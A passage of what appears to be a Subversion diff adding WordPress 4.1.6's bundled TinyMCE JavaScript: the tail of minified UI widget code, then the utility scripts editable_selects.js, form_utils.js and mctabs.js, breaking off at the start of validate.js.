r=t.getSize(e.getEl());r.width>n.maxW&&(n.minW=n.maxW,e.addClass("multiline")),e.getEl().style.width=n.minW+"px",n.startMinH=n.h=n.minH=Math.min(n.maxH,t.getSize(e.getEl()).height)}return n},repaint:function(){var e=this;return e.settings.multiline||(e.getEl().style.lineHeight=e.layoutRect().h+"px"),e._super()},text:function(e){var t=this;return t._rendered&&e&&this.innerHtml(t.encode(e)),t._super(e)},renderHtml:function(){var e=this,t=e.settings.forId;return'<label id="'+e._id+'" class="'+e.classes()+'"'+(t?' for="'+t+'"':"")+">"+e.encode(e._text)+"</label>"
+}})}),r(Kt,[J],function(e){return e.extend({Defaults:{role:"toolbar",layout:"flow"},init:function(e){var t=this;t._super(e),t.addClass("toolbar")},postRender:function(){var e=this;return e.items().addClass("toolbar-item"),e._super()}})}),r(Gt,[Kt],function(e){return e.extend({Defaults:{role:"menubar",containerCls:"menubar",ariaRoot:!0,defaults:{type:"menubutton"}}})}),r(Xt,[kt,G,Gt],function(e,t,n){function r(e,t){for(;e;){if(t===e)return!0;e=e.parentNode}return!1}var i=e.extend({init:function(e){var t=this;t._renderOpen=!0,t._super(e),t.addClass("menubtn"),e.fixedWidth&&t.addClass("fixed-width"),t.aria("haspopup",!0),t.hasPopup=!0},showMenu:function(){var e=this,n=e.settings,r;return e.menu&&e.menu.visible()?e.hideMenu():(e.menu||(r=n.menu||[],r.length?r={type:"menu",items:r}:r.type=r.type||"menu",e.menu=t.create(r).parent(e).renderTo(),e.fire("createmenu"),e.menu.reflow(),e.menu.on("cancel",function(t){t.control.parent()===e.menu&&(t.stopPropagation(),e.focus(),e.hideMenu())}),e.menu.on("select",function(){e.focus()}),e.menu.on("show hide",function(t){t.control==e.menu&&e.activeMenu("show"==t.type),e.aria("expanded","show"==t.type)}).fire("show")),e.menu.show(),e.menu.layoutRect({w:e.layoutRect().w}),void e.menu.moveRel(e.getEl(),e.isRtl()?["br-tr","tr-br"]:["bl-tl","tl-bl"]))},hideMenu:function(){var e=this;e.menu&&(e.menu.items().each(function(e){e.hideMenu&&e.hideMenu()}),e.menu.hide())},activeMenu:function(e){this.toggleClass("active",e)},renderHtml:function(){var e=this,t=e._id,r=e.classPrefix,i=e.settings.icon,o;return o=e.settings.image,o?(i="none","string"!=typeof o&&(o=window.getSelection?o[0]:o[1]),o=" style=\"background-image: url('"+o+"')\""):o="",i=e.settings.icon?r+"ico "+r+"i-"+i:"",e.aria("role",e.parent()instanceof n?"menuitem":"button"),'<div id="'+t+'" class="'+e.classes()+'" tabindex="-1" aria-labelledby="'+t+'"><button id="'+t+'-open" role="presentation" type="button" tabindex="-1">'+(i?'<i class="'+i+'"'+o+"></i>":"")+"<span>"+(e._text?(i?"\xa0":"")+e.encode(e._text):"")+'</span> <i class="'+r+'caret"></i></button></div>'},postRender:function(){var e=this;return e.on("click",function(t){t.control===e&&r(t.target,e.getEl())&&(e.showMenu(),t.aria&&e.menu.items()[0].focus())}),e.on("mouseenter",function(t){var n=t.control,r=e.parent(),o;n&&r&&n instanceof i&&n.parent()==r&&(r.items().filter("MenuButton").each(function(e){e.hideMenu&&e!=n&&(e.menu&&e.menu.visible()&&(o=!0),e.hideMenu())}),o&&(n.focus(),n.showMenu()))}),e._super()},text:function(e){var t=this,n,r;if(t._rendered)for(r=t.getEl("open").getElementsByTagName("span"),n=0;n<r.length;n++)r[n].innerHTML=(t.settings.icon&&e?"\xa0":"")+t.encode(e);return this._super(e)},remove:function(){this._super(),this.menu&&this.menu.remove()}});return i}),r(Jt,[Xt],function(e){return e.extend({init:function(e){function t(r){for(var a=0;a<r.length;a++){if(i=r[a].selected||e.value===r[a].value){o=o||r[a].text,n._value=r[a].value;break}r[a].menu&&t(r[a].menu)}}var n=this,r,i,o,a;n._values=r=e.values,r&&("undefined"!=typeof e.value&&t(r),!i&&r.length>0&&(o=r[0].text,n._value=r[0].value),e.menu=r),e.text=e.text||o||r[0].text,n._super(e),n.addClass("listbox"),n.on("select",function(t){var r=t.control;a&&(t.lastControl=a),e.multiple?r.active(!r.active()):n.value(t.control.settings.value),a=r})},value:function(e){function t(e,n){e.items().each(function(e){i=e.value()===n,i&&(o=o||e.text()),e.active(i),e.menu&&t(e.menu,n)})}function n(t){for(var r=0;r<t.length;r++)i=t[r].value==e,i&&(o=o||t[r].text),t[r].active=i,t[r].menu&&n(t[r].menu)}var r=this,i,o,a;return"undefined"!=typeof e&&(r.menu?t(r.menu,e):(a=r.settings.menu,n(a)),r.text(o||this.settings.text)),r._super(e)}})}),r(Qt,[Nt,G,u],function(e,t,n){return e.extend({Defaults:{border:0,role:"menuitem"},init:function(e){var t=this;t.hasPopup=!0,t._super(e),e=t.settings,t.addClass("menu-item"),e.menu&&t.addClass("menu-item-expand"),e.preview&&t.addClass("menu-item-preview"),("-"===t._text||"|"===t._text)&&(t.addClass("menu-item-sep"),t.aria("role","separator"),t._text="-"),e.selectable&&(t.aria("role","menuitemcheckbox"),t.addClass("menu-item-checkbox"),e.icon="selected"),e.preview||e.selectable||t.addClass("menu-item-normal"),t.on("mousedown",function(e){e.preventDefault()}),e.menu&&!e.ariaHideMenu&&t.aria("haspopup",!0)},hasMenus:function(){return!!this.settings.menu},showMenu:function(){var e=this,n=e.settings,r,i=e.parent();if(i.items().each(function(t){t!==e&&t.hideMenu()}),n.menu){r=e.menu,r?r.show():(r=n.menu,r.length?r={type:"menu",items:r}:r.type=r.type||"menu",i.settings.itemDefaults&&(r.itemDefaults=i.settings.itemDefaults),r=e.menu=t.create(r).parent(e).renderTo(),r.reflow(),r.on("cancel",function(t){t.stopPropagation(),e.focus(),r.hide()}),r.on("show hide",function(e){e.control.items().each(function(e){e.active(e.settings.selected)})}).fire("show"),r.on("hide",function(t){t.control===r&&e.removeClass("selected")}),r.submenu=!0),r._parentMenu=i,r.addClass("menu-sub");var o=r.testMoveRel(e.getEl(),e.isRtl()?["tl-tr","bl-br","tr-tl","br-bl"]:["tr-tl","br-bl","tl-tr","bl-br"]);r.moveRel(e.getEl(),o),r.rel=o,o="menu-sub-"+o,r.removeClass(r._lastRel),r.addClass(o),r._lastRel=o,e.addClass("selected"),e.aria("expanded",!0)}},hideMenu:function(){var e=this;return e.menu&&(e.menu.items().each(function(e){e.hideMenu&&e.hideMenu()}),e.menu.hide(),e.aria("expanded",!1)),e},renderHtml:function(){var e=this,t=e._id,r=e.settings,i=e.classPrefix,o=e.encode(e._text),a=e.settings.icon,s="",l=r.shortcut;return a&&e.parent().addClass("menu-has-icons"),r.image&&(a="none",s=" style=\"background-image: url('"+r.image+"')\""),l&&n.mac&&(l=l.replace(/ctrl\+alt\+/i,"&#x2325;&#x2318;"),l=l.replace(/ctrl\+/i,"&#x2318;"),l=l.replace(/alt\+/i,"&#x2325;"),l=l.replace(/shift\+/i,"&#x21E7;")),a=i+"ico "+i+"i-"+(e.settings.icon||"none"),'<div id="'+t+'" class="'+e.classes()+'" tabindex="-1">'+("-"!==o?'<i class="'+a+'"'+s+"></i>\xa0":"")+("-"!==o?'<span id="'+t+'-text" class="'+i+'text">'+o+"</span>":"")+(l?'<div id="'+t+'-shortcut" class="'+i+'menu-shortcut">'+l+"</div>":"")+(r.menu?'<div class="'+i+'caret"></div>':"")+"</div>"},postRender:function(){var e=this,t=e.settings,n=t.textStyle;if("function"==typeof n&&(n=n.call(this)),n){var r=e.getEl("text");r&&r.setAttribute("style",n)}return e.on("mouseenter click",function(n){n.control===e&&(t.menu||"click"!==n.type?(e.showMenu(),n.aria&&e.menu.focus(!0)):(e.fire("select"),e.parent().hideAll()))}),e._super(),e},active:function(e){return"undefined"!=typeof e&&this.aria("checked",e),this._super(e)},remove:function(){this._super(),this.menu&&this.menu.remove()}})}),r(Zt,[rt,Qt,d],function(e,t,n){var r=e.extend({Defaults:{defaultType:"menuitem",border:1,layout:"stack",role:"application",bodyRole:"menu",ariaRoot:!0},init:function(e){var t=this;if(e.autohide=!0,e.constrainToViewport=!0,e.itemDefaults)for(var r=e.items,i=r.length;i--;)r[i]=n.extend({},e.itemDefaults,r[i]);t._super(e),t.addClass("menu")},repaint:function(){return this.toggleClass("menu-align",!0),this._super(),this.getEl().style.height="",this.getEl("body").style.height="",this},cancel:function(){var e=this;e.hideAll(),e.fire("select")},hideAll:function(){var e=this;return this.find("menuitem").exec("hideMenu"),e._super()},preRender:function(){var e=this;return e.items().each(function(t){var n=t.settings;return n.icon||n.selectable?(e._hasIcons=!0,!1):void 0}),e._super()}});return r}),r(en,[Tt],function(e){return e.extend({Defaults:{classes:"radio",role:"radio"}})}),r(tn,[Nt,Q],function(e,t){return e.extend({renderHtml:function(){var e=this,t=e.classPrefix;return e.addClass("resizehandle"),"both"==e.settings.direction&&e.addClass("resizehandle-both"),e.canFocus=!1,'<div id="'+e._id+'" class="'+e.classes()+'"><i class="'+t+"ico "+t+'i-resize"></i></div>'},postRender:function(){var e=this;e._super(),e.resizeDragHelper=new t(this._id,{start:function(){e.fire("ResizeStart")},drag:function(t){"both"!=e.settings.direction&&(t.deltaX=0),e.fire("Resize",t)},stop:function(){e.fire("ResizeEnd")}})},remove:function(){return this.resizeDragHelper&&this.resizeDragHelper.destroy(),this._super()}})}),r(nn,[Nt],function(e){return e.extend({renderHtml:function(){var e=this;return e.addClass("spacer"),e.canFocus=!1,'<div id="'+e._id+'" class="'+e.classes()+'"></div>'}})}),r(rn,[Xt,Y],function(e,t){return e.extend({Defaults:{classes:"widget btn splitbtn",role:"button"},repaint:function(){var e=this,n=e.getEl(),r=e.layoutRect(),i,o;return e._super(),i=n.firstChild,o=n.lastChild,t.css(i,{width:r.w-t.getSize(o).width,height:r.h-2}),t.css(o,{height:r.h-2}),e},activeMenu:function(e){var n=this;t.toggleClass(n.getEl().lastChild,n.classPrefix+"active",e)},renderHtml:function(){var e=this,t=e._id,n=e.classPrefix,r,i=e.settings.icon;return r=e.settings.image,r?(i="none","string"!=typeof r&&(r=window.getSelection?r[0]:r[1]),r=" style=\"background-image: url('"+r+"')\""):r="",i=e.settings.icon?n+"ico "+n+"i-"+i:"",'<div id="'+t+'" class="'+e.classes()+'" role="button" tabindex="-1"><button type="button" hidefocus="1" tabindex="-1">'+(i?'<i class="'+i+'"'+r+"></i>":"")+(e._text?(i?" ":"")+e._text:"")+'</button><button type="button" class="'+n+'open" hidefocus="1" tabindex="-1">'+(e._menuBtnText?(i?"\xa0":"")+e._menuBtnText:"")+' <i class="'+n+'caret"></i></button></div>'},postRender:function(){var e=this,t=e.settings.onclick;return e.on("click",function(e){var n=e.target;if(e.control==this)for(;n;){if(e.aria&&"down"!=e.aria.key||"BUTTON"==n.nodeName&&-1==n.className.indexOf("open"))return e.stopImmediatePropagation(),void t.call(this,e);n=n.parentNode}}),delete e.settings.onclick,e._super()}})}),r(on,[Ut],function(e){return e.extend({Defaults:{containerClass:"stack-layout",controlClass:"stack-layout-item",endClass:"break"}})}),r(an,[et,Y],function(e,t){return e.extend({Defaults:{layout:"absolute",defaults:{type:"panel"}},activateTab:function(e){var n;this.activeTabId&&(n=this.getEl(this.activeTabId),t.removeClass(n,this.classPrefix+"active"),n.setAttribute("aria-selected","false")),this.activeTabId="t"+e,n=this.getEl("t"+e),n.setAttribute("aria-selected","true"),t.addClass(n,this.classPrefix+"active"),this.items()[e].show().fire("showtab"),this.reflow(),this.items().each(function(t,n){e!=n&&t.hide()})},renderHtml:function(){var e=this,t=e._layout,n="",r=e.classPrefix;return e.preRender(),t.preRender(e),e.items().each(function(t,i){var o=e._id+"-t"+i;t.aria("role","tabpanel"),t.aria("labelledby",o),n+='<div id="'+o+'" class="'+r+'tab" unselectable="on" role="tab" aria-controls="'+t._id+'" aria-selected="false" tabIndex="-1">'+e.encode(t.settings.title)+"</div>"}),'<div id="'+e._id+'" class="'+e.classes()+'" hidefocus="1" tabindex="-1"><div id="'+e._id+'-head" class="'+r+'tabs" role="tablist">'+n+'</div><div id="'+e._id+'-body" class="'+e.classes("body")+'">'+t.renderHtml(e)+"</div></div>"},postRender:function(){var e=this;e._super(),e.settings.activeTab=e.settings.activeTab||0,e.activateTab(e.settings.activeTab),this.on("click",function(t){var n=t.target.parentNode;if(t.target.parentNode.id==e._id+"-head")for(var r=n.childNodes.length;r--;)n.childNodes[r]==t.target&&e.activateTab(r)})},initLayoutRect:function(){var e=this,n,r,i;r=t.getSize(e.getEl("head")).width,r=0>r?0:r,i=0,e.items().each(function(e){r=Math.max(r,e.layoutRect().minW),i=Math.max(i,e.layoutRect().minH)}),e.items().each(function(e){e.settings.x=0,e.settings.y=0,e.settings.w=r,e.settings.h=i,e.layoutRect({x:0,y:0,w:r,h:i})});var o=t.getSize(e.getEl("head")).height;return e.settings.minWidth=r,e.settings.minHeight=i+o,n=e._super(),n.deltaH+=o,n.innerH=n.h-n.deltaH,n}})}),r(sn,[Nt,Y],function(e,t){return e.extend({init:function(e){var t=this;t._super(e),t._value=e.value||"",t.addClass("textbox"),e.multiline?t.addClass("multiline"):t.on("keydown",function(e){13==e.keyCode&&t.parents().reverse().each(function(t){return e.preventDefault(),t.hasEventListeners("submit")&&t.toJSON?(t.fire("submit",{data:t.toJSON()}),!1):void 0})})},disabled:function(e){var t=this;return t._rendered&&"undefined"!=typeof e&&(t.getEl().disabled=e),t._super(e)},value:function(e){var t=this;return"undefined"!=typeof e?(t._value=e,t._rendered&&(t.getEl().value=e),t):t._rendered?t.getEl().value:t._value},repaint:function(){var e=this,t,n,r,i=0,o=0,a;t=e.getEl().style,n=e._layoutRect,a=e._lastRepaintRect||{};var s=document;return!e.settings.multiline&&s.all&&(!s.documentMode||s.documentMode<=8)&&(t.lineHeight=n.h-o+"px"),r=e._borderBox,i=r.left+r.right+8,o=r.top+r.bottom+(e.settings.multiline?8:0),n.x!==a.x&&(t.left=n.x+"px",a.x=n.x),n.y!==a.y&&(t.top=n.y+"px",a.y=n.y),n.w!==a.w&&(t.width=n.w-i+"px",a.w=n.w),n.h!==a.h&&(t.height=n.h-o+"px",a.h=n.h),e._lastRepaintRect=a,e.fire("repaint",{},!1),e},renderHtml:function(){var e=this,t=e._id,n=e.settings,r=e.encode(e._value,!1),i="";return"spellcheck"in n&&(i+=' spellcheck="'+n.spellcheck+'"'),n.maxLength&&(i+=' maxlength="'+n.maxLength+'"'),n.size&&(i+=' size="'+n.size+'"'),n.subtype&&(i+=' type="'+n.subtype+'"'),e.disabled()&&(i+=' disabled="disabled"'),n.multiline?'<textarea id="'+t+'" class="'+e.classes()+'" '+(n.rows?' rows="'+n.rows+'"':"")+' hidefocus="1"'+i+">"+r+"</textarea>":'<input id="'+t+'" class="'+e.classes()+'" value="'+r+'" hidefocus="1"'+i+" />"},postRender:function(){var e=this;return t.on(e.getEl(),"change",function(t){e.fire("change",t)}),e._super()},remove:function(){t.off(this.getEl()),this._super()}})}),r(ln,[Y,K],function(e,t){return function(n,r){var i=this,o,a=t.classPrefix;i.show=function(t){return i.hide(),o=!0,window.setTimeout(function(){o&&n.appendChild(e.createFragment('<div class="'+a+"throbber"+(r?" "+a+"throbber-inline":"")+'"></div>'))},t||0),i},i.hide=function(){var e=n.lastChild;return e&&-1!=e.className.indexOf("throbber")&&e.parentNode.removeChild(e),o=!1,i}}}),a([l,c,u,d,f,p,h,m,g,y,b,C,_,E,N,k,S,T,R,A,B,D,L,H,M,O,I,F,z,W,V,U,$,q,j,Y,K,G,X,J,Q,Z,et,tt,nt,rt,it,ot,at,st,lt,ct,ut,dt,ft,pt,ht,mt,gt,vt,yt,bt,Ct,xt,wt,_t,Et,Nt,kt,St,Tt,Rt,At,Bt,Dt,Lt,Ht,Mt,Pt,Ot,It,Ft,zt,Wt,Vt,Ut,$t,qt,jt,Yt,Kt,Gt,Xt,Jt,Qt,Zt,en,tn,nn,rn,on,an,sn,ln])}(this);
Index: /tags/4.1.6/src/wp-includes/js/tinymce/utils/editable_selects.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/utils/editable_selects.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/utils/editable_selects.js	(revision 33402)
@@ -0,0 +1,70 @@
+/**
+ * editable_selects.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+var TinyMCE_EditableSelects = {
+	editSelectElm : null,
+
+	init : function() {
+		var nl = document.getElementsByTagName("select"), i, d = document, o;
+
+		for (i=0; i<nl.length; i++) {
+			if (nl[i].className.indexOf('mceEditableSelect') != -1) {
+				o = new Option(tinyMCEPopup.editor.translate('value'), '__mce_add_custom__');
+
+				o.className = 'mceAddSelectValue';
+
+				nl[i].options[nl[i].options.length] = o;
+				nl[i].onchange = TinyMCE_EditableSelects.onChangeEditableSelect;
+			}
+		}
+	},
+
+	onChangeEditableSelect : function(e) {
+		var d = document, ne, se = window.event ? window.event.srcElement : e.target;
+
+		if (se.options[se.selectedIndex].value == '__mce_add_custom__') {
+			ne = d.createElement("input");
+			ne.id = se.id + "_custom";
+			ne.name = se.name + "_custom";
+			ne.type = "text";
+
+			ne.style.width = se.offsetWidth + 'px';
+			se.parentNode.insertBefore(ne, se);
+			se.style.display = 'none';
+			ne.focus();
+			ne.onblur = TinyMCE_EditableSelects.onBlurEditableSelectInput;
+			ne.onkeydown = TinyMCE_EditableSelects.onKeyDown;
+			TinyMCE_EditableSelects.editSelectElm = se;
+		}
+	},
+
+	onBlurEditableSelectInput : function() {
+		var se = TinyMCE_EditableSelects.editSelectElm;
+
+		if (se) {
+			if (se.previousSibling.value != '') {
+				addSelectValue(document.forms[0], se.id, se.previousSibling.value, se.previousSibling.value);
+				selectByValue(document.forms[0], se.id, se.previousSibling.value);
+			} else
+				selectByValue(document.forms[0], se.id, '');
+
+			se.style.display = 'inline';
+			se.parentNode.removeChild(se.previousSibling);
+			TinyMCE_EditableSelects.editSelectElm = null;
+		}
+	},
+
+	onKeyDown : function(e) {
+		e = e || window.event;
+
+		if (e.keyCode == 13)
+			TinyMCE_EditableSelects.onBlurEditableSelectInput();
+	}
+};
Index: /tags/4.1.6/src/wp-includes/js/tinymce/utils/form_utils.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/utils/form_utils.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/utils/form_utils.js	(revision 33402)
@@ -0,0 +1,210 @@
+/**
+ * form_utils.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+var themeBaseURL = tinyMCEPopup.editor.baseURI.toAbsolute('themes/' + tinyMCEPopup.getParam("theme"));
+
+function getColorPickerHTML(id, target_form_element) {
+	var h = "", dom = tinyMCEPopup.dom;
+
+	if (label = dom.select('label[for=' + target_form_element + ']')[0]) {
+		label.id = label.id || dom.uniqueId();
+	}
+
+	h += '<a role="button" aria-labelledby="' + id + '_label" id="' + id + '_link" href="javascript:;" onclick="tinyMCEPopup.pickColor(event,\'' + target_form_element +'\');" onmousedown="return false;" class="pickcolor">';
+	h += '<span id="' + id + '" title="' + tinyMCEPopup.getLang('browse') + '">&nbsp;<span id="' + id + '_label" class="mceVoiceLabel mceIconOnly" style="display:none;">' + tinyMCEPopup.getLang('browse') + '</span></span></a>';
+
+	return h;
+}
+
+function updateColor(img_id, form_element_id) {
+	document.getElementById(img_id).style.backgroundColor = document.forms[0].elements[form_element_id].value;
+}
+
+function setBrowserDisabled(id, state) {
+	var img = document.getElementById(id);
+	var lnk = document.getElementById(id + "_link");
+
+	if (lnk) {
+		if (state) {
+			lnk.setAttribute("realhref", lnk.getAttribute("href"));
+			lnk.removeAttribute("href");
+			tinyMCEPopup.dom.addClass(img, 'disabled');
+		} else {
+			if (lnk.getAttribute("realhref"))
+				lnk.setAttribute("href", lnk.getAttribute("realhref"));
+
+			tinyMCEPopup.dom.removeClass(img, 'disabled');
+		}
+	}
+}
+
+function getBrowserHTML(id, target_form_element, type, prefix) {
+	var option = prefix + "_" + type + "_browser_callback", cb, html;
+
+	cb = tinyMCEPopup.getParam(option, tinyMCEPopup.getParam("file_browser_callback"));
+
+	if (!cb)
+		return "";
+
+	html = "";
+	html += '<a id="' + id + '_link" href="javascript:openBrowser(\'' + id + '\',\'' + target_form_element + '\', \'' + type + '\',\'' + option + '\');" onmousedown="return false;" class="browse">';
+	html += '<span id="' + id + '" title="' + tinyMCEPopup.getLang('browse') + '">&nbsp;</span></a>';
+
+	return html;
+}
+
+function openBrowser(img_id, target_form_element, type, option) {
+	var img = document.getElementById(img_id);
+
+	if (img.className != "mceButtonDisabled")
+		tinyMCEPopup.openBrowser(target_form_element, type, option);
+}
+
+function selectByValue(form_obj, field_name, value, add_custom, ignore_case) {
+	if (!form_obj || !form_obj.elements[field_name])
+		return;
+
+	if (!value)
+		value = "";
+
+	var sel = form_obj.elements[field_name];
+
+	var found = false;
+	for (var i=0; i<sel.options.length; i++) {
+		var option = sel.options[i];
+
+		if (option.value == value || (ignore_case && option.value.toLowerCase() == value.toLowerCase())) {
+			option.selected = true;
+			found = true;
+		} else
+			option.selected = false;
+	}
+
+	if (!found && add_custom && value != '') {
+		var option = new Option(value, value);
+		option.selected = true;
+		sel.options[sel.options.length] = option;
+		sel.selectedIndex = sel.options.length - 1;
+	}
+
+	return found;
+}
+
+function getSelectValue(form_obj, field_name) {
+	var elm = form_obj.elements[field_name];
+
+	if (elm == null || elm.options == null || elm.selectedIndex === -1)
+		return "";
+
+	return elm.options[elm.selectedIndex].value;
+}
+
+function addSelectValue(form_obj, field_name, name, value) {
+	var s = form_obj.elements[field_name];
+	var o = new Option(name, value);
+	s.options[s.options.length] = o;
+}
+
+function addClassesToList(list_id, specific_option) {
+	// Setup class droplist
+	var styleSelectElm = document.getElementById(list_id);
+	var styles = tinyMCEPopup.getParam('theme_advanced_styles', false);
+	styles = tinyMCEPopup.getParam(specific_option, styles);
+
+	if (styles) {
+		var stylesAr = styles.split(';');
+
+		for (var i=0; i<stylesAr.length; i++) {
+			if (stylesAr != "") {
+				var key, value;
+
+				key = stylesAr[i].split('=')[0];
+				value = stylesAr[i].split('=')[1];
+
+				styleSelectElm.options[styleSelectElm.length] = new Option(key, value);
+			}
+		}
+	} else {
+		/*tinymce.each(tinyMCEPopup.editor.dom.getClasses(), function(o) {
+			styleSelectElm.options[styleSelectElm.length] = new Option(o.title || o['class'], o['class']);
+		});*/
+	}
+}
+
+function isVisible(element_id) {
+	var elm = document.getElementById(element_id);
+
+	return elm && elm.style.display != "none";
+}
+
+function convertRGBToHex(col) {
+	var re = new RegExp("rgb\\s*\\(\\s*([0-9]+).*,\\s*([0-9]+).*,\\s*([0-9]+).*\\)", "gi");
+
+	var rgb = col.replace(re, "$1,$2,$3").split(',');
+	if (rgb.length == 3) {
+		r = parseInt(rgb[0]).toString(16);
+		g = parseInt(rgb[1]).toString(16);
+		b = parseInt(rgb[2]).toString(16);
+
+		r = r.length == 1 ? '0' + r : r;
+		g = g.length == 1 ? '0' + g : g;
+		b = b.length == 1 ? '0' + b : b;
+
+		return "#" + r + g + b;
+	}
+
+	return col;
+}
+
+function convertHexToRGB(col) {
+	if (col.indexOf('#') != -1) {
+		col = col.replace(new RegExp('[^0-9A-F]', 'gi'), '');
+
+		r = parseInt(col.substring(0, 2), 16);
+		g = parseInt(col.substring(2, 4), 16);
+		b = parseInt(col.substring(4, 6), 16);
+
+		return "rgb(" + r + "," + g + "," + b + ")";
+	}
+
+	return col;
+}
+
+function trimSize(size) {
+	return size.replace(/([0-9\.]+)(px|%|in|cm|mm|em|ex|pt|pc)/i, '$1$2');
+}
+
+function getCSSSize(size) {
+	size = trimSize(size);
+
+	if (size == "")
+		return "";
+
+	// Add px
+	if (/^[0-9]+$/.test(size))
+		size += 'px';
+	// Sanity check, IE doesn't like broken values
+	else if (!(/^[0-9\.]+(px|%|in|cm|mm|em|ex|pt|pc)$/i.test(size)))
+		return "";
+
+	return size;
+}
+
+function getStyle(elm, attrib, style) {
+	var val = tinyMCEPopup.dom.getAttrib(elm, attrib);
+
+	if (val != '')
+		return '' + val;
+
+	if (typeof(style) == 'undefined')
+		style = attrib;
+
+	return tinyMCEPopup.dom.getStyle(elm, style);
+}
Index: /tags/4.1.6/src/wp-includes/js/tinymce/utils/mctabs.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/utils/mctabs.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/utils/mctabs.js	(revision 33402)
@@ -0,0 +1,164 @@
+/**
+ * mctabs.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/*jshint globals: tinyMCEPopup */
+
+function MCTabs() {
+	this.settings = [];
+	this.onChange = tinyMCEPopup.editor.windowManager.createInstance('tinymce.util.Dispatcher');
+};
+
+MCTabs.prototype.init = function(settings) {
+	this.settings = settings;
+};
+
+MCTabs.prototype.getParam = function(name, default_value) {
+	var value = null;
+
+	value = (typeof(this.settings[name]) == "undefined") ? default_value : this.settings[name];
+
+	// Fix bool values
+	if (value == "true" || value == "false")
+		return (value == "true");
+
+	return value;
+};
+
+MCTabs.prototype.showTab =function(tab){
+	tab.className = 'current';
+	tab.setAttribute("aria-selected", true);
+	tab.setAttribute("aria-expanded", true);
+	tab.tabIndex = 0;
+};
+
+MCTabs.prototype.hideTab =function(tab){
+	var t=this;
+
+	tab.className = '';
+	tab.setAttribute("aria-selected", false);
+	tab.setAttribute("aria-expanded", false);
+	tab.tabIndex = -1;
+};
+
+MCTabs.prototype.showPanel = function(panel) {
+	panel.className = 'current'; 
+	panel.setAttribute("aria-hidden", false);
+};
+
+MCTabs.prototype.hidePanel = function(panel) {
+	panel.className = 'panel';
+	panel.setAttribute("aria-hidden", true);
+}; 
+
+MCTabs.prototype.getPanelForTab = function(tabElm) {
+	return tinyMCEPopup.dom.getAttrib(tabElm, "aria-controls");
+};
+
+MCTabs.prototype.displayTab = function(tab_id, panel_id, avoid_focus) {
+	var panelElm, panelContainerElm, tabElm, tabContainerElm, selectionClass, nodes, i, t = this;
+
+	tabElm = document.getElementById(tab_id);
+
+	if (panel_id === undefined) {
+		panel_id = t.getPanelForTab(tabElm);
+	}
+
+	panelElm= document.getElementById(panel_id);
+	panelContainerElm = panelElm ? panelElm.parentNode : null;
+	tabContainerElm = tabElm ? tabElm.parentNode : null;
+	selectionClass = t.getParam('selection_class', 'current');
+
+	if (tabElm && tabContainerElm) {
+		nodes = tabContainerElm.childNodes;
+
+		// Hide all other tabs
+		for (i = 0; i < nodes.length; i++) {
+			if (nodes[i].nodeName == "LI") {
+				t.hideTab(nodes[i]);
+			}
+		}
+
+		// Show selected tab
+		t.showTab(tabElm);
+	}
+
+	if (panelElm && panelContainerElm) {
+		nodes = panelContainerElm.childNodes;
+
+		// Hide all other panels
+		for (i = 0; i < nodes.length; i++) {
+			if (nodes[i].nodeName == "DIV")
+				t.hidePanel(nodes[i]);
+		}
+
+		if (!avoid_focus) { 
+			tabElm.focus();
+		}
+
+		// Show selected panel
+		t.showPanel(panelElm);
+	}
+};
+
+MCTabs.prototype.getAnchor = function() {
+	var pos, url = document.location.href;
+
+	if ((pos = url.lastIndexOf('#')) != -1)
+		return url.substring(pos + 1);
+
+	return "";
+};
+
+
+//Global instance
+var mcTabs = new MCTabs();
+
+tinyMCEPopup.onInit.add(function() {
+	var tinymce = tinyMCEPopup.getWin().tinymce, dom = tinyMCEPopup.dom, each = tinymce.each;
+
+	each(dom.select('div.tabs'), function(tabContainerElm) {
+		//var keyNav;
+
+		dom.setAttrib(tabContainerElm, "role", "tablist");
+
+		var items = tinyMCEPopup.dom.select('li', tabContainerElm);
+		var action = function(id) {
+			mcTabs.displayTab(id, mcTabs.getPanelForTab(id));
+			mcTabs.onChange.dispatch(id);
+		};
+
+		each(items, function(item) {
+			dom.setAttrib(item, 'role', 'tab');
+			dom.bind(item, 'click', function(evt) {
+				action(item.id);
+			});
+		});
+
+		dom.bind(dom.getRoot(), 'keydown', function(evt) {
+			if (evt.keyCode === 9 && evt.ctrlKey && !evt.altKey) { // Tab
+				//keyNav.moveFocus(evt.shiftKey ? -1 : 1);
+				tinymce.dom.Event.cancel(evt);
+			}
+		});
+
+		each(dom.select('a', tabContainerElm), function(a) {
+			dom.setAttrib(a, 'tabindex', '-1');
+		});
+
+		/*keyNav = tinyMCEPopup.editor.windowManager.createInstance('tinymce.ui.KeyboardNavigation', {
+			root: tabContainerElm,
+			items: items,
+			onAction: action,
+			actOnFocus: true,
+			enableLeftRight: true,
+			enableUpDown: true
+		}, tinyMCEPopup.dom);*/
+	});
+});
Index: /tags/4.1.6/src/wp-includes/js/tinymce/utils/validate.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/utils/validate.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/utils/validate.js	(revision 33402)
@@ -0,0 +1,252 @@
+/**
+ * validate.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+	// String validation:
+
+	if (!Validator.isEmail('myemail'))
+		alert('Invalid email.');
+
+	// Form validation:
+
+	var f = document.forms['myform'];
+
+	if (!Validator.isEmail(f.myemail))
+		alert('Invalid email.');
+*/
+
+var Validator = {
+	isEmail : function(s) {
